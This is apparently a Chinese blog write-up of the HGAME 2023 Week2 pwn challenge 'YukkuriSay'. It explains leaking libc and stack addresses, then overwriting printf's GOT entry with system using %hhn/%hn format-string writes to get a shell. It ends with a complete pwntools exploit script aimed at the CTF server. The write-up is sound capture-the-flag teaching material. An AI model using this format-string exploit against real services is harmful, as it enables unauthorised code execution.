首页 > 其他分享 >HGAME 2023 Week2 Pwn YukkuriSay题解

HGAME 2023 Week2 Pwn YukkuriSay题解

时间:2023-01-20 20:47:28浏览次数:37  
标签:gift libc 题解 HGAME system 修改 地址 YukkuriSay printf

HGAME 2023 Week2 Pwn YukkuriSay题解

检查保护:

拿到文件先checksec一下:

64位程序,开启canary和nx保护,没有开启PIE(可以使用绝对地址了)

继续往下看,先不着急打开ida,我们先运行一下看看程序大概:输入字符串“aaaa-%p”让Yukkri输出,得到原字符串,此处没有格式化字符串,接下来问要不要继续,要则继续循环,不要则有“gift”,输入得知此处就有格式化字符串,也可以得到偏移是8,但程序也随着结束,大概清楚流程后就可以打开ida了

程序分析:

vuln()函数:

跟刚才运行看到的差不多,循环里输出的只是照样输出,输入不为‘N’或‘n’退出循环格式化字符串

看看buf能不能溢出:

长度不够我们溢出

看看str

在bss段,可以确定是非栈上格式化字符串

现在最开始我们运行一下的优势就体现出来了,当然还是得看一下,万一我们有什么没看到的漏洞。

整体看下来之后其实就是打印Yukkri和我们输入的内容(此处是在栈上的)

思路分析:

1、由于循环中我们输入的内容是在栈上的,而且栈内容没有清空,我们可以考虑输入足够长的字符串进行地址泄露得到libc基地址以及stack地址**

2、得到想要的地址后输入printf的got地址,利用格式化字符串修改为system,这样当输入'/bin/sh'看似运行print('/bin/sh')时,实际是运行system('/bin/sh')

3、同时也要输入stack的返回地址,因为我们格式化字符串是在call printf之后再进行的,简单理解就是运行printf之后才会将printf修改为system,所以我们需要

返回到“gift”这里来输入'/bin/sh'触发system('/bin/sh')

注意:我们知道%n是修改4个字节,%hn是修改2个字节,%hhn是修改1个字节,我们手动格式化字符串无法一次性修改太多,因此这里要利用%hn,%hhn多次修改

gdb调试分析:

泄露地址:

我们查看一下循环里输入的栈内容:

可以看到在0x7fffffffdd50处是我们输入的地址,0x7fffffffde38处则可以泄露libc地址,0x7fffffffde50可以泄露栈地址,但我们知道输入的内容不会复原,所以要顺序泄露地址,先输入(0xf8-0x10)=0xe8个字符泄露libc地址,再输入(0x110-0x10)=0x100个字符泄露栈地址。将得到的地址减去偏移就能得到libc基地址和stack地址

布栈:

我们格式化字符串用%hhn替换需要从小到大排序(因为在后面的会包含前面的数量),所以可以考虑将printf分为两次修改,一次修改一个字节,一次修改两个字节,而修改返回地址也需要修改两个字节(0x40170e -> 0x401671),因此prinft的got地址肯定是放在最前面的,而通过一开始的泄露我们可以知道修改printf的两个字节要放在修改返回地址的后面(0x8082>0x1671):

当然这是随机的,不是说system就一定是这个地址,不过一般来讲大于0x1671的概率还是很大的

所以我们在泄露地址后可以将栈依次设置为:

printf_got + stack_addr(ret) + printf_got+1                                                                                                             

修改各个地址:

代码:

sys1=system&0xff  # system的低字节
sys2=(system>>8)&0xffff  # system的低二三字节
gift_addr=gift&0xffff  # gift的低二字节
payload3='%'+str(sys1)+'c%8$hhn'+'%'+str(gift_addr-sys1)+'c%9$hn'+'%'+str(sys2-gift_addr)+'c%10$hn'      

上面是获取各个地址数据和修改地址的代码

然后为什么要相减是因为后面地址替换的数量有包含前面已经替换的数量(既然包含了那就减去它)

而为什么要右移8是因为两位十六进制数就是八位二进制数(可以打开电脑自带计算器看看更直观)

printf修改前:

printf修改后:

拿shell:

既然已经将printf修改为system了,而且返回地址也修改了,我们又有一次输入字符串的机会,输入'/bin/sh'即可触发printf('/bin/sh')即system('/bin/sh')了:

exp:

from pwn import *
context(arch='amd64',os='linux')
#p=process('./yuku')
libc=ELF('libc-2.31.so')
p=remote('week-2.hgame.lwsec.cn',31924)
elf=ELF('yuku')

# 获取libc地址
payload=b'a'*0xe0+b'b'*0x8
p.sendafter('What would you like to let Yukkri say?',payload)
p.recvuntil(b'b'*8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['setbuffer']-204  # 远程libc基地址
#libc_base=u64(p.recv(6).ljust(8,b'\x00'))-543852  # 本地
success('libc_base:'+hex(libc_base))

# 获取栈地址
payload1=b'a'*0xf8+b'c'*0x8
p.sendlineafter('else?(Y/n)',b'y')
sleep(0.5)
p.send(payload1)
p.recvuntil(b'c'*0x6)
stack_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x120
success('stack_addr:'+hex(stack_addr))
#gdb.attach(p)
#pause()

# 布栈
p.sendlineafter('else?(Y/n)',b'y')
pri=libc_base+libc.symbols['printf']
success('printf:'+hex(pri))
system=libc_base+libc.symbols['system']
success('system:'+hex(system))
pri_got=elf.got['printf']
payload=p64(pri_got)+p64(stack_addr+280)+p64(pri_got+1)
p.send(payload)
#gdb.attach(p)
#pause()

# 将printf的got表修改为system
gift=0x401671
p.sendlineafter('else?(Y/n)',b'n')
sys1=system&0xff
sys2=(system>>8)&0xffff
gift_addr=gift&0xffff
payload3='%'+str(sys1)+'c%8$hhn'+'%'+str((gift_addr)-(sys1))+'c%9$hn'+'%'+str(sys2-gift_addr)+'c%10$hn'
p.sendlineafter('gift for you: \n',payload3)
#gdb.attach(p)
#pause()
sleep(0.5)
p.sendline(b'/bin/sh\x00')
p.interactive()

总结:

此题属于简单的非栈上格式化字符串,因为我们可以直接将想要修改的地址放进栈里,只需要考虑写入的数据谁大谁小,地址谁前谁后的关系就好了,但再难一点的则需要通过格式化字符串放进栈里,这对于如何布置栈就需要更多的思考,后面有遇到再写吧(手动狗头)

标签:gift,libc,题解,HGAME,system,修改,地址,YukkuriSay,printf
From: https://www.cnblogs.com/sheeep/p/17062645.html

相关文章

  • GoodBye Renyin ABC题解
    GoodByeRenyinABC题解A答案为\(\text{YES}\)的充要条件是\(\max(a_i)\timesr\le(\suma_i-\max(a_i))\timesR\)。必要性显然。充分性是可以先把最大的放在\((......
  • 博客园美化及markdown代码问题解决
    博客园美化Cnblogs-Theme-SimpleMemory代码出处GitHub-BNDong/Cnblogs-Theme-SimpleMemoryatv1.2.6说明文档:简介-Document(bndong.github.io)如果无法进入网站,......
  • Deque 题解
    题目传送门一道区间\(dp\)题。在\(dp\)之前,我们需要明确以下几个东西:状态的表示,状态转移方程,边界条件跟答案的表示。状态的表示定义\(sum(l,r)=\sum_{i=l}^ra_......
  • 1538 迎春舞会之数字舞蹈 题解
    #include<iostream>intmain(){/**#Seven-segmentDisplay**Thewayhowtheprogramprintsdecimalnumericstotheconsoleworks......
  • CF225 Round #139 题解
    比赛链接:https://codeforces.com/contest/225题解:A题意题//bySkyRainWind#include<bits/stdc++.h>#definemprmake_pair#definedebug()cerr<<"Yoshino\n"#de......
  • 题解 ABC231D【Neighbors】
    首先,每个数不能有超过两个相邻元素,不然无法构成一条链。可以通过记录每个数出现次数(度数)来判断。其次,给的信息不能成环,不然也无法构成一条链。可以通过并查集来判断。在......
  • 题解 ARC115C【ℕ Coloring】
    显然\(A_1,A_2,A_4,A_8,\cdots\)必须互不相同,因此最大的数一定不小于\(\lfloor\log_2n\rfloor+1\),猜想可以取到\(\lfloor\log_2n\rfloor+1\)。构造\(A_i=\lfloor\log......
  • 2023牛客寒假算法基础集训营2题解
    写在前面菜菜,哭哭,大佬救救QaQ理解大佬的代码并且整理成一篇博客真的很累...C:Tokitsukazeanda+b=n(hard)1.本蒟蒻的代码个人感觉用前缀和更方便。我最开始用的是线......
  • CF622F The Sum of the k-th Powers 题解
    观前提示本题解仅提供一个理论复杂度正确的解法,因为本题模数为\(10^9+7\),没有优秀\(\text{MTT}\)板子的我被卡常了。正文部分不妨设\(S_{n,m}=\sum_{i=0}^{n-1}i^m......
  • CF576C 题解
    注意到\(\sum\limits_{i=2}^N|x_{p_i}-x_{p_{i-1}}|+|y_{p_i}-y_{p_{i-1}}|\)。本质上是两个点之间的曼哈顿距离。而曼哈顿最小距离生成树要\(O(n^2\logn)\)......